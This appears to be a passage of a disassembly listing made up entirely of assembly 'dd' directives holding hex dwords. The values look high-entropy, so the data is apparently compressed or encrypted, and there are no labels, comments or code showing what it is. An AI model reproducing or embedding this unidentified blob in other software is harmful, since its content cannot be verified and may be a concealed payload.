		dd 2B25D8B7h, 0C48A6DD2h, 0F19BFC55h, 0F86F890Fh, 34FAD3D2h
		dd 0E55A8123h, 0D2E63F10h, 83CCB9E5h, 0F2FE9B38h, 0DA95D55Ah
		dd 45B05540h, 9F120E1Ch, 0F9E47959h, 0D2D1FCF5h, 2E459D04h
		dd 7FBDD1FCh, 2D1FCB04h
		dd 48C05B9Bh, 5AF950D6h, 0E5EF9E27h, 0FD7912F1h, 731EEC9Bh
		dd 8F2B16F2h, 5F04A25Eh, 0D625DC0Bh, 65F65A4Dh,	0C2D00D4h
		dd 17167FBDh, 673125A1h, 2ACD6229h, 5909EA05h, 40BADC51h
		dd 0E4293222h, 0CC08FCB7h, 1517CCA4h, 70AC4C6Ah, 562B1EB2h
		dd 9E3C42B0h, 71131DC0h, 0DDC97E00h, 46E8E306h,	79260B2Fh
		dd 0A6048FB7h, 2DEDA85Dh, 111E455Bh, 0AD5A500Eh, 0E425F19Fh
		dd 0D9AC52C5h, 0A0ED6025h, 0D4926BC2h, 0CB72F04h, 2B843400h
		dd 5CF3BF66h, 0BC05D1Fh, 6CCAC8B3h, 0AF2EF16h, 0C30110A1h
		dd 0CC2F03DDh, 33D0FD31h, 0BAB2798Bh, 53EB3A9Dh, 5B155015h
		dd 4DF05C0Ah, 443CA410h, 0DD244FB3h, 0D36A2FB3h, 6045BB02h
		dd 0B0DDAEB1h, 40A19D22h, 10BF611Bh, 84CFF4h, 295026E4h
		dd 9FBB90AAh, 22370312h, 5B989AC4h, 0C994DEh, 0F02B68F5h
		dd 10BD3F33h, 1538F0Bh,	0A6418DABh, 0D50E5CD9h,	0A0413F21h
		dd 3F2CF3D4h, 0B29B343Bh, 0E43E7A73h, 27A28451h, 5C0C647h
		dd 137846EBh, 0F26E1006h, 889B5B4Bh, 3265ABC0h,	8E09DF22h
		dd 0C660A4B0h, 2861EE72h, 0E98D92B2h, 0BE59947Fh, 0C22FE39Dh
		dd 657F1C42h, 584FABD2h, 1F5FB370h, 9F2C1FE0h, 1A9196B7h
		dd 0A5486D80h, 1827725Ah, 6498EDAFh, 0D310671Ah, 2EE29ACh
		dd 0BD3132FDh, 28F5307Dh, 0F62788E8h, 0A9FCA71Fh, 5E1452D6h
		dd 6FE0DB27h, 0C10199BBh, 6096687Bh, 1728CC8Ah,	0D77F8480h
		dd 0E0039B6h, 0F3CFE7B4h, 15E013A5h, 73965061h,	0D303F0ACh
		dd 8B3AB9CBh, 7EDA9239h, 9D236157h, 2F677571h, 625391CAh
		dd 8896A800h, 71FAD9DCh, 64EC2701h, 8DD3329Ch, 9C5069E8h
		dd 8B8B667Eh, 17649097h, 0CBF102F4h, 4830A457h,	4F3B5C60h
		dd 128B5B38h, 7121DD8Ah, 96F36B7h, 83F9FF77h, 6E90F98Fh
		dd 0E155118Fh, 0DCC6BD6Fh, 0A00D3B00h, 0FC4F1D7h, 0F47D629h
		dd 0FF502C20h, 0D1F29BD0h, 5390612Fh, 0B3FD7082h, 38C47A0Bh
		dd 2BA7FC0Dh, 0B5A820FBh, 0EE61FF24h, 800166Eh,	4B75E4E9h
		dd 0F51717DAh, 0C9AE60EDh, 4B23ABh, 0C9535570h,	193E758h
		dd 0EA084D78h, 3F61F85Ah, 5FE813E2h, 0DBD34000h, 90D17753h
		dd 9D8B0872h, 35790D91h, 91840138h, 0FAE90910h,	78979BCFh
		dd 72B199D6h, 0B24F5E80h, 27CCFA82h, 0B4E71755h, 40BF1F5Ch
		dd 0F3B42EEh, 89710589h, 0F930FF89h, 53D14495h,	7EB96BE9h
		dd 0D59086B9h, 534CA1B3h, 4491341h, 15C985B2h, 4D4BB7F9h
		dd 0BA3DC068h, 609F605h, 0F822F376h, 2C3D9D2Ch,	0DB138680h
		dd 0D0EC93h, 0D8BB106Eh, 8B423268h, 0DCCCF84Fh,	0F78102F9h
		dd 1E4592EFh, 3E8D1E61h, 4801568Ah, 0BFBACFD8h,	89EA4062h
		dd 961D46F1h, 8BAF95AEh, 75960h, 0A03D31C8h, 5F56F967h
		dd 9509049Ch, 2DBE0191h, 0B17A66FFh, 9659D0C8h,	40957760h
		dd 81395311h, 1FD805DFh, 71EA5F5Ah, 3F02797Eh, 6A6EAB2Dh
		dd 6FF8042Fh, 97F08271h, 1F90452h, 0FD1BD59Dh, 93ACD2A7h
		dd 801E0380h, 1704B1C3h, 0C0A4A792h, 8B27B3FCh,	7D6985F6h
		dd 2700DA35h, 3BCFBF7Dh, 0FD032F92h, 0E2DBC40h,	0B5B85D82h
		dd 8B9FD919h, 0D87FDB8Eh, 2669F834h, 0F94FA83Ch, 618D01C0h
		dd 5AC4B61Bh, 7A50F2D3h, 2FA702A3h, 96210CF1h, 0BF0785D8h
		dd 51D9B0C4h, 318AC39Ah, 2B42432Dh, 7C53429Dh, 0B782E95Dh
		dd 5E7E5939h, 0C80F6551h, 0B6C2C01Bh, 5E04A07Eh, 0B7D66EFEh
		dd 999DBD81h, 962D526Ch, 5030EAC6h, 0B60A8A60h,	6E7BFD61h
		dd 36700274h, 0D7B89E8Dh, 0F01809C0h, 0DF2C6297h, 8F7E3A0Bh
		dd 0F1C46D6h, 0E03C8384h, 23CE08C1h, 86C9DE5h, 244BBD71h
		dd 7BD42CEDh, 38E797C0h, 0E31F3156h, 405ABCBDh,	0A9CFD597h
		dd 6966F76Bh, 0C59D0312h, 62B55792h, 2A96DFDFh,	5C60ADADh
		dd 6A80EE5h, 0EFA7E3D3h, 4527F287h, 169CE71Fh, 0EC5FED52h
		dd 0D88A2726h, 5595B4E6h, 71E2889Bh, 0C613A37Eh, 0FBE892A9h
		dd 6EB3D813h, 15B2CBF7h, 421E8A33h, 27D9DA3Bh, 0AFF6F6E9h
		dd 70B95325h, 56007876h, 0E7864B71h, 0BEC18BA1h, 0F000DC2Dh
		dd 0D3D6DD99h, 12183391h, 0E369B786h, 51012F23h, 0BDC2E41h
		dd 46D7DC8Ah, 3DDB9B7h,	3429E2BEh, 1CB1A690h, 0F79EE990h
		dd 95AA5FC6h, 0E6070B05h, 58DF0007h, 1CEB4DADh,	0A2290018h
		dd 0AC48AEF3h, 0DA2F354Ch, 1A7DF851h, 4A2AB016h, 7DEFBD6h
		dd 0A7AE9819h, 1B8F30F0h, 0F6BC4D81h, 81400C10h, 19092527h
		dd 0EB78A9D3h, 0BCD712C5h, 5BEBB1CBh, 0B0BECF1Dh, 271AA910h
		dd 0C8011050h, 0F6EC09h, 0AB7C5FBEh, 88E40604h,	2BCBAA55h
		dd 45440136h, 84C017F5h, 2B43B115h, 0ECA014A7h,	0D44AC496h
		dd 9A7BECDDh, 0C19897DCh, 0C58B010h, 54A1FB45h,	1E4A79ACh
		dd 2241F3DDh, 0FF000A69h, 6DF00BD1h, 0CA80D4Bh,	0E7CFC4E2h
		dd 404BAFC2h, 3159B56Bh, 397F1413h, 0BD0D892Ah,	6A1D22EDh
		dd 4ED7702h, 2251BBC0h,	2C6409BCh, 85DDB859h, 30E4D1ECh
		dd 0D9A15485h, 4C59261h, 940EB2BBh, 0DF49EB7Fh,	0D8CB1AFAh
		dd 0F43595E2h, 0DB801C91h, 0CBF04AD2h, 0DE3FE404h, 0CCFF6011h
		dd 8513336Fh, 60FE34B1h, 0CDF71863h, 0D9EE3Eh, 8543E2Ah
		dd 5FE09EBh, 0E961A9E7h, 0BE38BF01h, 97BC9031h,	0C878EEFBh
		dd 6AFC014Fh, 5EAF97ADh, 61D541B3h, 1673290Ch, 0D8FD1935h
		dd 0E1E151C9h, 905F0104h, 47006A33h, 841A64C2h,	9B4FFF41h
		dd 69C065ACh, 0A38CC120h, 15B11102h, 745F4871h,	530D4478h
		dd 54D740FEh, 5BC791Dh,	1133580Ah, 5425DDE1h, 7B78692Fh
		dd 2EDEDE81h, 0F9B94053h, 0B20BAAECh, 60898D09h, 34BD03A5h
		dd 0FE0C266Dh, 0D8972EDBh, 42973972h, 423A5F36h, 5D4064EDh
		dd 13B1C880h, 0A803276Eh, 0A1298033h, 75670B07h, 9BFD00FFh
		dd 0E250994Dh, 952E317Bh, 5F806DE1h, 55CBEB81h,	6A2A2DCDh
		dd 94E064EDh, 28D2005h,	9B75AD8h, 0D652A595h, 4061B538h
		dd 0C5851229h, 86AFE202h, 4FB9010Fh, 38E7E9B5h,	0E38100B0h
		dd 15C82A46h, 0D1BD5E31h, 8870E61Bh, 90779C8h, 540271E4h
		dd 99DF2099h, 0A7A4E3E5h, 145A270Bh, 33A58595h,	60D921EEh
		dd 3161C956h, 25649003h, 0AB1A9778h, 22DFC462h,	191B09C9h
		dd 0D0166F50h, 8913C9F8h, 0C242FEB5h, 0F556C82Bh, 0BF850779h
		dd 84BF0220h, 6032A065h, 8E4FE9E2h, 32CB5720h, 9DAB802h
		dd 47554C50h, 0B80EC824h, 0DBBC92AAh, 0E955C475h, 0F9808295h
		dd 1791AC5Ch, 10759062h, 4B5BE903h, 7248D17h, 2BF51DA4h
		dd 128AB336h, 0E2410CCFh, 43B22A6h, 2A4C9EBFh, 93A2B917h
		dd 8F4449ECh, 60955189h, 0F480237Ch, 27C866A7h,	0AA1ECD00h
		dd 7C928AFFh, 0EF6B00ECh, 81FEF23Bh, 0F709BAC3h, 735F6172h
		dd 76FF08BFh, 0E2DC032Eh, 0D4075D8h, 2EB6F283h,	0E0572AB0h
		dd 10001B2h, 0F2230DE4h, 0BB056C16h, 0A3B85F1h,	0F2EEDF8h
		dd 984A387Fh, 0B3C398Fh, 84440061h, 1BD26BBh, 4F97034Dh
		dd 0B01D15F5h, 0DFFB8194h, 0A9E66F5Bh, 48E6B5h,	38634CD2h
		dd 0B876CA2h, 107AB9DAh, 2F4C9F6h, 38F98E46h, 284045E8h
		dd 1293321Eh, 0AE092312h, 0C7507E16h, 41B741D8h, 76C97A09h
		dd 0EA5E0139h, 71056Eh,	58F6DFDAh, 10CF800Ah, 0BAFC8A12h
		dd 6516A8B3h, 0F285FD34h, 44215E29h, 9D9ABAD8h,	0CDC01B88h
		dd 3EC69C38h, 97F4BE1Ah, 1A918F35h, 1EC58080h, 1F268FD2h
		dd 49093CEFh, 0E6627E26h, 5164F052h, 0CBFE5F0Fh, 41FDD3EAh
		dd 0D24F6A8h, 0DF07FA2Dh
		dd 84A99B5Ch, 55EB0191h, 60BCB8AAh, 203E5E0Ch, 905C52CCh
		dd 0D5EF252Eh, 4811BEC5h, 5BF38263h, 984B3CCh, 2993C380h
		dd 0D05B7B2Eh, 94040DE7h, 5A60AB08h, 76D8C7B8h,	86799DD7h
		dd 0C704E176h, 6B8B3C3Ah, 57A28DB8h, 19088A2Ah,	399B200Eh
		dd 6BA5EF68h, 591A7BC5h, 23ED7F32h, 908855E3h, 979B9C5Bh
		dd 0F5749614h, 54D945BBh, 22B5E370h, 0B4B09A9h,	0DF607B22h
		dd 7A1355B7h, 6285E1E0h, 1C2D5E01h, 4C75809h, 98EBDDBBh
		dd 849DB865h, 0EB6219EDh, 0A50C5129h, 17646E6Dh, 0E2065A60h
		dd 1250612Fh, 0D064DF32h, 7ECE497h, 0A1DAA5C8h,	2D3CE052h
		dd 5EBF5B17h, 0F402F42Dh, 57648579h, 20E57277h,	29120435h
		dd 0B583318Dh, 9BA0BF68h, 0C76BFBEh, 810B457Ah,	0EF17D678h
		dd 1DBD4183h, 7597C4B9h, 0A9AD9C00h, 1B3BB7Eh, 990D4B2Ch
		dd 1520E2A7h, 6FF232h, 847FBB2Bh, 233A2194h, 0A48C314Bh
		dd 5B504C52h, 5F2F407Bh, 0D9E368E3h, 0EB52DDE4h, 5C7AE2E9h
		dd 8B594904h, 807EB725h, 96CEC5B0h, 552EC966h, 0DB2D7E62h
		dd 0A1372F9Ch, 0AF83E500h, 27C2FE6Ah, 6C59F035h, 2885803Bh
		dd 0C5C9F65Eh, 7520021Dh, 0B6AE793Fh, 26E9E28Fh, 1D79C373h
		dd 0A4006518h, 7C76390Eh, 736CB790h, 8D5F4B4Ah,	2EF02BC8h
		dd 10D4049h, 7EC59527h,	0A68992F6h, 4AF620h, 0B7102540h
		dd 0C7BF14ECh, 7F8F1D12h, 0E280C464h, 4B89AEACh, 0BCA5B946h
		dd 863109A3h, 435CDAFDh, 66902540h, 96BB2713h, 0DEA705F9h
		dd 9D9C60FDh, 0CCA66B82h, 8D755E00h, 2D1545DBh,	4B3B0296h
		dd 0A01B9070h, 6853F541h, 81A38096h, 4A4B05h, 8A6E6AFFh
		dd 4787CF3Bh, 3012FEBDh, 5B4860DCh, 0CDBF96E2h,	2239C0A2h
		dd 42139C54h, 80098BCDh, 7F26E2D1h, 0FC502265h,	0A10701E7h
		dd 5D4B0675h, 2B5EE64Fh, 0B5F88A50h, 145C0A42h,	58400944h
		dd 9ED65E88h, 974AF302h, 5C5250B2h, 31CF6EFCh, 0B483FE37h
		dd 59BB808Bh, 366728FBh, 892CFB7Dh, 90208D4Bh, 0A05A02EBh
		dd 0F545312Dh, 0A377276Ah, 37F82C3Bh, 0C003D25h, 55A1672Dh
		dd 9D0210Ah, 1974F04Dh,	33414DB2h, 6103C2A5h, 6F5A12F9h
		dd 0D3C0E269h, 0C0007CB2h, 13F8F7DDh, 0B3044FC5h, 0D4F9F24Ch
		dd 54A3D2ACh, 0B7550B87h, 0D94382D6h, 0C7D63B97h, 0C6E23412h
		dd 0A42FF693h, 0C13F79E5h, 60253EE6h, 1F4119CBh, 0BE79A63Fh
		dd 651A605Ah, 89250261h, 78627F8Dh, 3137F7h, 0ECF7E1BEh
		dd 61127654h, 0FEE2036Dh, 13042984h, 1C80BAF8h,	8BEC9CFEh
		dd 0FCBF1B02h, 45463388h, 3A0C9A19h, 0DC30545Dh, 0FD3D8997h
		dd 0DCBB0F30h, 76842001h, 0F3A9C381h, 312F42FDh, 0C422BF09h
		dd 3897763Dh, 8204A955h, 256184D7h, 2DA92DBFh, 1B3A831h
		dd 7B51D260h, 6FABAE94h, 0FA136B05h, 0BD8A94EAh, 5D0B8EFh
		dd 871FB789h, 0C809AA97h, 842B5B11h, 0B9F9BF0Fh, 446AD7ECh
		dd 0B8B1A17h, 0B46C1351h, 0D0108800h, 6729C7C2h, 0EA46013Dh
		dd 0C3DEA1AEh, 0BAB054F7h, 5AE89AA9h, 33E96102h, 602A7C50h
		dd 0B70C198Ch, 5A7015E5h, 0F9B083Dh, 5EA70D8Eh,	3121084Dh
		dd 0D974D420h, 0F961BE2Dh, 9A3A428h, 567B0755h,	0C3E730B0h
		dd 606A9C84h, 0F6A33BBFh, 27C42F4Bh, 0D5B825ADh, 0B10ECB71h
		dd 0C486D70Fh, 79F83E22h, 7625B680h, 64005950h,	0DC495EBh
		dd 0BF5C6603h, 20F2EECBh, 5D701053h, 79400185h,	0FA0228B9h
		dd 0E53C5060h, 620038A3h, 0B08CE0C4h, 5DD55F2h,	0AC225BAh
		dd 44891FA8h, 0FE61DFE3h, 6A6AD5DDh, 21580BD9h,	2560FB96h
		dd 0C2BF95C6h, 27257161h, 1D40C050h, 51952D09h,	14D1C3DBh
		dd 0E2920F18h, 28B0DCEAh, 530D1127h, 181B7927h,	0DF321FF0h
		dd 0B6FAE1Eh, 4BF7F534h, 243BBCE2h, 6AC01F17h, 4DBC4E58h
		dd 0D3C195F5h, 6F74CC47h, 15C85ADAh, 0C237F3C2h, 0B235EB05h
		dd 89D5D981h, 0E9791B47h, 130E3347h, 9F00AC7Ah,	0D8158E6Ah
		dd 660F6312h, 0A09689B7h, 0E6AF0DBFh, 0A21EF0Ch, 0FC5E11C5h
		dd 8FC01788h, 0BF15E72Ah, 0A9720189h, 0D0BE7BB5h, 0EBFCBEEDh
		dd 1759F50Ah, 78E0CF6Ah, 7B6E2CDCh, 160D2501h, 0B3969AEEh
		dd 0CB6A0A40h, 0CCEE3D76h, 0CA4BB0BEh, 0B03D227Eh, 97A572FAh
		dd 3D888453h, 0CB80020Eh, 0B37BC618h, 50E4CD0h,	53FEDDF1h
		dd 707EF90Fh, 94699697h, 62D8404Eh, 11002224h, 0C933F042h
		dd 25E9F978h, 0ED57F357h, 0F0E0E764h, 1B9B4389h, 1987CD5Ch
		dd 0C1F52FA5h, 0B801C46Bh, 0B390C238h, 0DE8E7543h, 6F12D72Fh
		dd 0DF9B1288h, 968D3E08h, 0F04FE66Ah, 8429DDCh,	19998D29h
		dd 9004662Eh, 66E96A70h, 0F560C2BCh, 1918CAF8h,	3C069606h
		dd 18E2ABA5h, 0C0C66D57h, 8BDEDAA0h, 0BF90FE00h, 4FCD106Eh
		dd 8C0F2F50h, 5D69395Ch, 270E7FBh, 924C0053h, 0BA28011Eh
		dd 50CDCB42h, 12E0650h,	0C19D23C9h, 0E2BB4901h,	552F42DFh
		dd 149101B7h, 27B9589h,	771BD04h, 12166F25h, 19F21471h
		dd 0AAAE4E88h, 40EE4647h, 6AB83BADh, 0B5290902h, 13C412A5h
		dd 950A4022h, 700B6B7h,	63FBA866h, 0D4F705D9h, 0BEFC562Dh
		dd 0F381A360h, 7F620426h, 3C24E920h, 9B2C92D4h,	73887858h
		dd 0C1B2BE2Dh, 14081A26h, 0EBFC6A89h, 0C9100037h, 450E386Fh
		dd 0D00034AAh, 292001E6h, 27EF1DDAh, 90D1895Ah,	74BF6112h
		dd 0A889BD92h, 5AFB4C30h, 0C9A501C0h, 0A30060AAh, 47F07685h
		dd 52699D09h, 8B15CB0Bh, 0B316CAF8h, 0B470FB3Ch, 953B13BFh
		dd 197138FBh, 781E2818h, 90C0AF08h, 99A5CB81h, 562D5853h
		dd 97B1E95Fh, 2A5CFC8h,	6571A82Ch, 0F9FFDE50h, 0EF8002C5h
		dd 4AC25B90h, 0CF376D77h, 9B97BF40h, 6CB00CAEh,	5F0D0926h
		dd 0C4B4E743h, 229C5CB9h, 0B0F88A1Ch, 6CF0BB00h, 4E66BADh
		dd 0C9BD0970h, 4E51B919h, 0E87FBDCDh, 57B492DCh, 38128BD9h
		dd 57E20EF5h, 0EDFCB325h, 0F8AD1892h, 11852981h, 67535301h
		dd 8A1481BDh, 51012EFCh, 34C99D33h, 0E2F7258Ch,	6B0BCF2Ah
		dd 2C82BDEh, 104BD31h, 0FCD18BFCh, 8F7984C3h, 0CAE93B3Fh
		dd 50005E7h, 0B4955BACh, 0B31EC2C4h, 86880A51h,	9491389h
		dd 84574404h, 2909073Eh, 56A30957h, 0A71AE20Bh,	5BC9E02Ch
		dd 41ABE31Dh, 0D4092F38h, 41352E9h, 2F5F1DBBh, 0EF98AF0Ah
		dd 324586DFh, 96885841h, 8055642Eh, 89EBB53Dh, 95589551h
		dd 80761236h, 0C04AC2E5h, 582A0EA6h, 7102A50Eh,	4D5C074Dh
		dd 18779C2h, 8B01800Fh,	7B6AF519h, 652578C9h, 0FDEB92A0h
		dd 6E6414Ah, 8D000922h,	0D090DF64h, 5B04F942h, 0D7E2C82Ch
		dd 4CCFFA12h, 5B5DB0EBh, 0EE7B912h, 3417ABAh, 0CD79BFE3h
		dd 3B8BCD9h, 0E07CB64Ah, 0D8F285h, 0D9C992F9h, 29FCD22Dh
		dd 6FDDBD24h, 0CDDBCFBBh, 0A1871980h, 6C0BD7F5h, 96B3D6Ah
		dd 978DA76h, 8D09C02Bh,	0D2C2AD93h, 4192CDB7h, 0D8BE004h
		dd 0EE6B70BAh, 6305D9E7h, 0AE1C6177h, 4AD0DBFEh, 0AAA8D7ADh
		dd 25D0DC5Ch, 0E24FDF11h, 1A31CF40h, 76BE004Fh,	0C2FCE75Bh
		dd 0DA778B56h, 0F9941197h, 0F672742Eh, 29A2A075h, 81134EF4h
		dd 2EDB746Ah, 91BB6E30h, 90267885h, 9F20EAFDh, 0FED12651h
		dd 0C51348Bh, 603E9C7Dh, 0D381894Fh, 0CF164458h, 6130B87Fh
		dd 972A38BBh, 1589011Ah, 24BDE35Eh, 0F4DE6DE1h,	0D4080077h
		dd 0CBAD56BCh, 0F54BB583h, 9C420E8h, 0FEC6C595h, 4112388Eh
		dd 0E80AA905h, 99E82F7Ch, 4656E61Ah, 9D052B50h,	0BD00EF3h
		dd 1CD81D9Fh, 0D98A4937h
		dd 459DE56h, 0E5541605h, 0DDAE0219h, 0F3AC5D54h, 3F2800DEh
		dd 0E4163AF2h, 0D05FABD8h, 7F5649C8h, 0EC0800BEh, 0E48F91F7h
		dd 0CA00DC83h, 0BCAB1468h, 4B1DEA5Fh, 0DAFCB8BFh, 73CA5F94h
		dd 4D254C56h, 5369C0EEh, 2F48BF9Dh, 0FBFE3B99h,	8056E95Ch
		dd 6203294Bh, 68ED092Dh, 7A705F5Bh, 704BF3B7h, 4C399951h
		dd 0F6F209BFh, 48A6C444h, 0CA1DD0B7h, 6DCB4085h, 88E780D5h
		dd 81A82297h, 0F474FC01h, 5A29307h, 9F29B2Eh, 0B1ECFDA1h
		dd 9DA7BBDh, 0D7711CF5h, 96355D69h, 91B0C106h, 34792054h
		dd 71C8504Fh, 0D61E0761h, 0A068545Eh, 0E5EBD435h, 8F0A2317h
		dd 0F54B4BA8h, 0DFB61BD3h, 89EF8E4Bh, 525FD8Dh,	0F0E8F66Ah
		dd 7FEB36E6h, 52D704EFh, 0A84388ADh, 46BFA0DBh,	416D1620h
		dd 8B293050h, 1D073680h, 0DC30D813h, 9660638Ch,	81BF402Dh
		dd 3200A409h, 674E856Bh, 865F48h, 0EFB90683h, 4B62A959h
		dd 12216695h, 0B98B615Bh, 82194C54h, 0E1FB15BFh, 0B62E5883h
		dd 9B56E043h, 13AE2F6Ch, 81C7D0F6h, 5EAD23E2h, 0E3516922h
		dd 0D9E14800h, 3AC915h,	0B6C89F3Bh, 5E2F8E64h, 90BE927h
		dd 70365BC4h, 3904EF19h, 0C6B7A865h, 0EF933EBCh, 2701B46Fh
		dd 609E9DC0h, 0FAC26B52h, 0FF5B0519h, 43B873C4h, 0C1059E5Fh
		dd 3B2F11D9h, 0AD26342Fh, 9BBA4AFFh, 0A49FC008h, 18536F8h
		dd 48FBEFABh, 6E89FC13h, 8E12726Fh, 902FED77h, 4691687h
		dd 81B828FFh, 0CE9FF305h, 27F64689h, 0BE1186F0h, 0AE0AC001h
		dd 79706A81h, 7EFAF421h, 0E5C440C3h, 65003726h,	0B85B71C6h
		dd 58A0E9DCh, 9C0C5593h, 34D8A755h, 1203245Ch, 0CBE1AC82h
		dd 767AAF2Eh, 0EDA56D00h, 0B6504DB0h, 278AFC4Ch, 0ADF45318h
		dd 2D00B365h, 0E1931E14h, 28667732h, 20A2C569h,	68012B11h
		dd 780B0E9h, 0EDF5B5BBh, 0BC8781D5h, 0C99FB316h, 9B785053h
		dd 452709D0h, 0E2715479h, 57880F89h, 1500A94Eh,	0F68451C5h
		dd 2D11E7h, 0A5FB6A5Ah,	0F129392Bh, 89D0E610h, 90173320h
		dd 2D7F88Bh, 3D8D0970h,	0C8A59F18h, 0FBDAFEDBh,	673018C9h
		dd 0B072B931h, 67966171h, 0B57EA0DCh, 0ED0B5FB9h, 0B8B6B5FAh
		dd 27A6F7A0h, 98A9CB4Fh, 4C6AEEE5h, 8473AE02h, 1FDE4D38h
		dd 212AE90Dh, 218CB67Eh, 0A5EE248Ch, 975C18C7h,	0F9BF6CE8h
		dd 74D61497h, 0D801B338h, 0D614AB66h, 0B2CA6421h, 4D65DF0Bh
		dd 0C3045712h, 0ECC93059h, 9533A5DCh, 0A8BED3CEh, 71867209h
		dd 0BD23821Ah, 0C45C1B9Dh, 310837EAh, 0A2961715h, 83C40096h
		dd 7A625EFCh, 0D2654FDh, 0C9EB0148h, 0EFCFB3A0h, 804A3C1Fh
		dd 89D9ED04h, 0C6391D3Eh, 0B58C1DDh, 0C45BF256h, 3F2EB750h
		dd 23905F96h, 4AD5D050h, 512A9C0Eh, 33BDBBFh, 9FC28060h
		dd 0AE42FCA2h, 0CDBB6D10h, 20C1D12h, 811E64E3h,	3AB144E7h
		dd 4F98AF60h, 4BF395D9h, 0CC181859h, 984CA10Ah,	0CD08ACABh
		dd 4B622516h, 0C1CE4DF5h, 45469EF3h, 8C24EBEAh,	947AABh
		dd 93E90141h, 2473CD3Ah, 2649EEDh, 2959D09h, 0D1963A57h
		dd 6ECB0063h, 0B64BC119h, 3609503h, 2D2A6185h, 2D6BBD91h
		dd 6DFF5FD2h, 9EBB692Dh, 0FFF5D9D8h, 0D6B92F12h, 0BBFC7003h
		dd 66E4172Ch, 0EE6FEB6Ah, 4552DB1Fh, 17E91AC7h,	27D5ACF5h
		dd 0F61974EAh, 0C2D4A600h, 0CC8A7923h, 0ED625BC5h, 0F1A49311h
		dd 15A700F9h, 66F5D617h, 7200B62Eh, 85BFCC7Ch, 253B18EFh
		dd 9290505Fh, 5B0127F6h, 0F7B3E846h, 474C5FEh, 49BD1329h
		dd 69559109h, 8F932201h, 37D8433h, 8212A2AEh, 5C7C13CFh
		dd 0B8F96447h, 0A125A21Bh, 74AEDF19h, 23A43F3Ah, 50B01514h
		dd 38296189h, 1959F153h, 18045518h, 0EDEACF08h,	0A512CEF0h
		dd 5BB1E89h, 0BF4554A8h, 0F4820B63h, 0AE38140h,	514A83F3h
		dd 1722EDCAh, 39850109h, 7394DF1Ch, 4860FB4Ch, 59C689A5h
		dd 0AB7E9C7h, 6B09BE80h, 16663AAAh, 0A2BAC2BBh,	0D7890345h
		dd 0D23D1890h, 24E556D6h, 2A150DA0h, 4047B9Dh, 0DDAE1675h
		dd 176B6CB5h, 8327731Eh, 0D5C78042h, 41CC0E09h,	32319D2Ch
		dd 56DB5FBFh, 80173FC6h, 1927D417h, 4A19A77Ah, 2B9F9A32h
		dd 7401A509h, 0F7804174h, 0CF017FB4h, 310FDE8Bh, 5A136433h
		dd 9200AAD9h, 5B520D64h, 0A844955Fh, 1C51AEA0h,	0BA6072A0h
		dd 0DE7D8B00h, 0E6A7B97Bh, 61452491h, 2E650A03h, 0C8C02D14h
		dd 55977A98h, 0FDA55B3Fh, 8498544Ch, 190C51D8h,	936E9531h
		dd 72FB7B7h, 0C0B7D820h, 2BEBF4A1h, 2BE3E298h, 56DAB334h
		dd 0B3A39C3h, 5143EFF0h, 652DBE25h, 7E9E12BAh, 7EE84E84h
		dd 7C20EF97h, 68B939h, 2F3CDCFDh, 36FC1B7Ch, 338CB100h
		dd 5BF953A5h, 90022F6Ah, 1A2D7AF9h, 63C2FF3Bh, 0FD05EF54h
		dd 37B6908Bh, 15ECE6E0h, 5A4E8E03h, 8A6638BFh, 0E8587626h
		dd 6027E2Ch, 0EB699B99h, 9CAFC98h, 0AD567FE9h, 8427DE70h
		dd 3862CFADh, 70F753F4h, 7C13C6A6h, 6BBED8C0h, 4142392h
		dd 0B290F5F7h, 970075E8h, 0DF7FBC4Bh, 12E1905h,	0C60B6867h
		dd 20F6AA4Fh, 0E09650DAh, 905BD904h, 858225FDh,	65572B61h
		dd 950102D5h, 13DE0AB5h, 739AEC89h, 84242113h, 0AE1FCDB5h
		dd 9556C7CBh, 19778BB0h, 0DBF376C1h, 8536FF6Ah,	0D0D7C9F0h
		dd 0BF1C630Bh, 571A85D8h, 4997C81h, 0F77A7Eh, 0D3150BEDh
		dd 984B8F5Eh, 0D970096Eh, 287360BEh, 51C8E717h,	0B0AD4A5Bh
		dd 0DE04C382h, 0E629A3D4h, 0AAB561C3h, 71E40203h, 493CD455h
		dd 0C345255Ah, 315FE56Bh, 0D5A62BA7h, 552A5048h, 138295B9h
		dd 0F5CEEB3h, 2B0DE2Fh,	0D18BFFBFh, 169A7B55h, 955D0EF8h
		dd 168DB519h, 53A6F788h, 6E4C1CE5h, 81B709C1h, 2A54F957h
		dd 28595B9h, 0B530FA51h, 40E19D29h, 22D05B16h, 82B05FE1h
		dd 2E5F8123h, 0F88A0D71h, 5BA99DF8h, 2BBE9908h,	0A1810D34h
		dd 0EB219141h, 0E38E817Bh, 16222E38h, 88BF212Bh, 2E20DDDAh
		dd 68BC1764h, 0E1221480h, 0A3143EB3h, 4B739589h, 0B095DE8h
		dd 75E2B1BDh, 48C30F56h, 0DBBEE49Ch, 0E292C1D0h, 9B2A6AB5h
		dd 0BACEC0ABh, 4CF4DFA8h, 422D5B9h, 0CFDA98A3h,	699D4DFFh
		dd 3100B9FBh, 9ECFDC36h, 0B6544B4Ah, 8ABF40A5h,	10B1907h
		dd 16EDC3B9h, 0D16E02Bh, 48205081h, 0FE48EB89h,	33797E1h
		dd 0DB9E6E83h, 0D98F883Ch, 0FC5C277Bh, 0B0A79D13h, 6A6E0A80h
		dd 0F6793701h, 5213AF42h, 40DACD3Fh, 0D22BF972h, 12DC12BCh
		dd 9F2645Ah, 0C45FEA14h, 594D95EEh, 420F59Ch, 0C7D2A2BBh
		dd 0B9A7AF4Eh, 2C9641E1h, 30268080h, 119F5Ah, 0D46A0D35h
		dd 84D9D89h, 1730CE9Dh,	0FA81CF80h, 3BB65474h, 43471AA0h
		dd 186A7901h, 0BEC81737h, 0D261CB2Ah, 886AAAh, 36A1D62Bh
		dd 27FA874Ch, 0A470A01Fh, 425383E6h, 0C0630084h, 69986AF9h
		dd 51AE045Ah, 0B857D380h, 6C59A223h, 0E60A4A6Dh, 0C0985870h
		dd 98D1CF35h, 0E05300F6h, 67C4C45h, 7702032Ch, 8AB39181h
		dd 0FF3AD55Bh, 1D42DF6h, 5945C7AEh, 16A1847h, 0E1122099h
		dd 318D2240h, 202D1C97h, 605A04EBh, 800427E3h, 0B8618BECh
		dd 80EEA214h, 8AE18118h, 0B0B85ABDh, 1E416136h,	5A7271D3h
		dd 8CE3A30Eh, 2814397h,	1EBB30DBh, 21026058h, 42BC5626h
		dd 4AFF68B3h, 3F1A7806h, 0B3CA399Dh, 0DDB02508h, 7D479FCFh
		dd 6330CBC7h, 97E83F26h, 12D30BF1h, 0BB5BF992h,	1823886Bh
